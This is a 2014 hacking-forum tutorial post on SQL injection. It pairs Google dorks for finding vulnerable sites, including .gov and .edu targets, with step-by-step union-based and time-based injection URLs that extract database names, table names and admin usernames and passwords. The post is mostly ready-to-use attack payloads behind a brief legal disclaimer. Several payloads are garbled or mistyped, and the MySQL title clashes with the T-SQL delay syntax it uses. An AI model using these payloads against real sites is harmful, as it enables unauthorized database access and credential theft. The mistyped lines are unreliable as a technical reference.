![]() |
|
Tutorial MySQL database injections. - Printable Version +- Sinisterly (https://sinister.li) +-- Forum: Hacking (https://sinister.li/Forum-Hacking) +--- Forum: Tutorials (https://sinister.li/Forum-Tutorials) +--- Thread: Tutorial MySQL database injections. (/Thread-Tutorial-MySQL-database-injections) |
MySQL database injections. - Merkuri - 07-29-2014 I assume that you have working knowledge about MySQL database, there are many free sources on the internet about MySQL. You also must be familar with SQL. You don't need to be able to program on PHP or any other language, but it's recommened. First I want to excuse for my terrible grammar. Also I want to mention that probably I have some typos, if you have any touble with understanding something, or you see something wrong please contact me. I think that it's unless to say that if you inject sites without permission of the owner is illegal and I'm not responsible for your actions. Google Dorks Spoiler:
You can use google dorks to find SQL injection vulnerabilities. Here is an example of google dork: Code: inurl:index.php?id= +.comHere are some searching operators Code: OPERATOR | Description
inurl: | a text that must be in the URL, for example if you search for login panel you will type inurl:login.php
site: | It returns the websites of specified domains
intitle | It restricts the results to pages whose title contain specified word/phrase, this may be useful if you search vulnerability in a myBB or Joomla for example
filetype | Searches for a particular filetype mentioned in the query, .php for example.Code: http://pastebin.com/wUyRb0k8You can add + (domainhere) Here are some examples: Code: inurl: index.php?id= +.com
inurl: index.php?id= +.net
inurl: index.php?id= +.org
inurl: index.php?id= +.cc
inurl: index.php?id= +.ws
inurl: index.php?id= +.edu
inurl: index.php?id= +.govCode: inurl:index.php?id= intext"keyword"I think this is enough for basics of google dorks. Before you start reading, I think it's good to give you the definition for SQL injection. Quote:SQL injection is a code injection technique, used to attack data-driven applications, in which malicious SQL statements are inserted into an entry field for execution (e.g. to dump the database contents to the attacker).SQL injection must exploit a security vulnerability in an application's software, for example, when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and unexpectedly executed. SQL injection is mostly known as an attack vector for websites but can be used to attack any type of SQL database.This is from Wikipedia, I was unable to give better definition. String based SQLi Spoiler:
This is one of the easiest SQL injections.The difference between string SQL injection and the basic SQL injection(Union Query) is that we don't write -- but we write --+,+--+ or +-- and you add ' after the parametar. So I will write for basic injection(Union Query) and add examples for string injection First you need to check if the website is vulnerable. You are doing this by writing ' at the end of URL here is example: Code: http://www.site.com/index.php?id=123'Code: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''5''' at line 1Code: http://www.site.com/index.php?id=123 order by 100-- *Error
http://www.site.com/index.php?id=123 order by 10-- *Error
http://www.site.com/index.php?id=123 order by 1-- *no error
http://www.site.com/index.php?id=123 order by 5-- *no error
http://www.site.com/index.php?id=123 order by 7-- *no error
http://www.site.com/index.php?id=123 order by 8-- *error
For string injecition
http://www.site.com/index.php?id=123' order by 100--+ *Error
http://www.site.com/index.php?id=123' order by 10--+ *Error
http://www.site.com/index.php?id=123' order by 1--+ *no error
http://www.site.com/index.php?id=123' order by 5--+ *no error
http://www.site.com/index.php?id=123' order by 7--+ *no error
http://www.site.com/index.php?id=123' order by 8--+ *errorCode: http://www.site.com/index.php?id=-123Code: http://www.site.com/index.php?id=-123 union all select 1,2,3,4,5,6,7--
For string injection
http://www.site.com/index.php?id=-123' union all select 1,2,3,4,5,6,7--+Code: http://www.site.com/index.php?id=123 union all select 1,2,3,4,verion(),6,7--
with @@version
http://www.site.com/index.php?id=123 union all select 1,2,3,4,@@version,6,7--
For string injection
http://www.site.com/index.php?id=123' union all select 1,2,3,4,verion(),6,7--+
with @@version
http://www.site.com/index.php?id=123' union all select 1,2,3,4,@@version,6,7--+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4,group_concat(),6,7--
For string injection
http://www.site.com/index.php?id=123' union select 1,2,3,4,group_concat(),6,7--+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(schema_name),6,7 from information_schema.schemata--
For string injection
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(schema_name),6,7 from information_schema.schemata--+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() --
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() --+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() limit 0,1--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(table_name),6,7 from information_schema.tables where table_schema=database() limit 0,1--+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="admin"--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="admin"--+Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="0x61646d696e "--
For string based
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(column_name),6,7 from+information_schema.columns where table_name="0x61646d696e "--+Now you should see new text let's say that we have username and password to extract information from them we use group_concat(COLUMNS NAMES HERE) and from DATABASE HERE.TABLE NAME HERE. Example will make this clear. Code: http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(username,0x3a,password ),6,7 from DataBaseName.admin--
For string injection
http://www.site.com/index.php?id=123 union select 1,2,3,4, group_concat(username,0x3a,password ),6,7 from DataBaseName.admin--+Time based SQL injection Spoiler:
Time based SQL injection is very easy to undestand for me, hope that will be the same with you. Let's start. First there are two types of time based(or delay) injection integer and string injection, actually the diffrent between both is one ' in the url. Here is how integer and string injections look: Code: Integer
www.site.com/index.asp?id=123; waitfor delay '00:00:20'--
String
www.site.com/index.asp?id=123'; waitfor delay '00:00:20'--Now it's time to find the DB username we have to find all characters, we do this IF (len(user)=number of characters) waitfor delay '00:00:20'-- Code: www.site.com/index.asp?id=123; IF (len(user)=1) waitfor delay '00:00:20'--
And for String injection
www.site..com/index.asp?id=123'; IF (len(user)=1) waitfor delay '00:00:20'--Code: www.site.com/index.asp?id=123; IF (len(user)=1) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(user)=2) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(user)=3) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(user)=4) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(user)=5) waitfor delay '00:00:20'-- * wait 20 seconds / true
Or for String injection
www.site.com/index.asp?id=123'; IF (len(user)=1) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(user)=2) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(user)=3) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(user)=4) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(user)=5) waitfor delay '00:00:20'-- * wait 20 seconds / trueCode: www.site.com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>82) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>83) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>84) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((user),1,1)))>85) waitfor delay '00:00:20'-- * wait 20 second / true
For string injection
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>82) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>83) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>84) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((user),1,1)))>85) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>80) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>81) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>82 waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((user),2,1)))>83) waitfor delay '00:00:20'-- * wait 20 second / true
For string injection
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>80) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>81) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>82) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((user),2,1)))>83) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ascii(lower(substring((user),3,1)))>69) waitfor delay '00:00:20'-- * wait 20 second / true
www.site.com/index.asp?id=123; IF (ascii(lower(substring((user),4,1)))>82) waitfor delay '00:00:20'-- * wait 20 second / true
For string injection
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((user),3,1)))>69) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((user),4,1)))>82) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (len(db_name())=1) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(db_name())=2) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(db_name())=4) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(db_name())=6) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (len(db_name())=8) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (len(db_name())=1) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(db_name())=2) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(db_name())=4) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(db_name())=6) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (len(db_name())=8) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>66) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>67) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),1,1)))>68) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>66) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>67) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),1,1)))>68) + waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>95) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>96) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),2,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>95) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>96) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),2,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>113) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>114) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>96) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>113) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>114) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>116) + waitfor delay '00:00:20'-- * wait 20 second /true
[code]
We see that this character is "t", so what start with dat and its 8 characters long? lets try Database yeah.
[code]
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>98) + waitfor delay '00:00:20'-- ** wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123; IF (ascii(lower(substring((db_name),3,1)))>101) + waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>98) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>97) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>115) + waitfor delay '00:00:20'-- * wait 20 second /true
www.site..com/index.asp?id=123'; IF (ascii(lower(substring((db_name),3,1)))>101) + waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=5) waitfor delay '00:00:20'--
For string injection
www.site.com/index.asp?id=123'; IF (LEN(SELECT TOP 1 NAME FROM SYSOBJECTS WHEREXTYPE='U')=5) waitfor delay '00:00:20'--Code: www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=93)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=94)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=95)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=96)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=97)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=98)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=99)) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123';IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=100)) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=109)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=105)) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 NAME from sysobjects where xtype=char(85)),1,1)))=110)) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (len(select top 1 column_name from Database.information_schema.columns where table_name='admin')=5) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (len(select top 1 column_name from Database.information_schema.columns where table_name='admin')=5) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=82) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=83) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=84) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=85) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=82) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=83) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=84) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),1,1)))=85) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=115) waitfor delay '00:00:20'-- * return directly / false
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=115) waitfor delay '00:00:20'-- * return directly / falseCode: www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=107) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=108) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=109) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=110) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=107) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=108) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=109) waitfor delay '00:00:20'-- * return directly / false
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),2,1)))=110) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),3,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),4,1)))=109) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),5,1)))=101) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),3,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),4,1)))=109) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin'),5,1)))=101) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (LEN(SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' and column_name>'Uname')=4) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (LEN(SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' and column_name>'Uname')=4) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=112) waitfor delay '00:00:20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=112) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true
For string base
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=97) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(lower(substring((SELECT TOP 1 column_name from Database.information_schema.columns where table_name='admin' add column_name>'Uname'.),1,1)))=115) waitfor delay '00:00:20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (LEN(SELECT TOP 1 Uname from admin)=5) waitfor delay '00:00":20'--
For string injection
www.site.com/index.asp?id=123'; IF (LEN(SELECT TOP 1 Uname from admin)=5) waitfor delay '00:00":20'--Code: www.site.com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=97) waitfor delay '00:00":20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=97) waitfor delay '00:00":20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=100) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=109) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=105) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=110) waitfor delay '00:00":20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=100) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=109) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=105) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=110) waitfor delay '00:00":20'-- * wait 20 second /trueCode: www.site.com/index.asp?id=123; IF (LEN(SELECT TOP 1 pass from admin)=4)
For string injection
www.site.com/index.asp?id=123; IF (LEN(SELECT TOP 1 pass from admin)=4)Code: www.site.com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=108) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=111) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=118) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=101) waitfor delay '00:00":20'-- * wait 20 second /true
For string injection
www.site.com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=108) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=111) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=118) waitfor delay '00:00":20'-- * wait 20 second /true
www.site.com/index.asp?id=123'; IF (ASCII(substring((SELECT TOP 1 Uname from admin),1,1))=101) waitfor delay '00:00":20'-- * wait 20 second /trueBlind SQL Injection Spoiler:
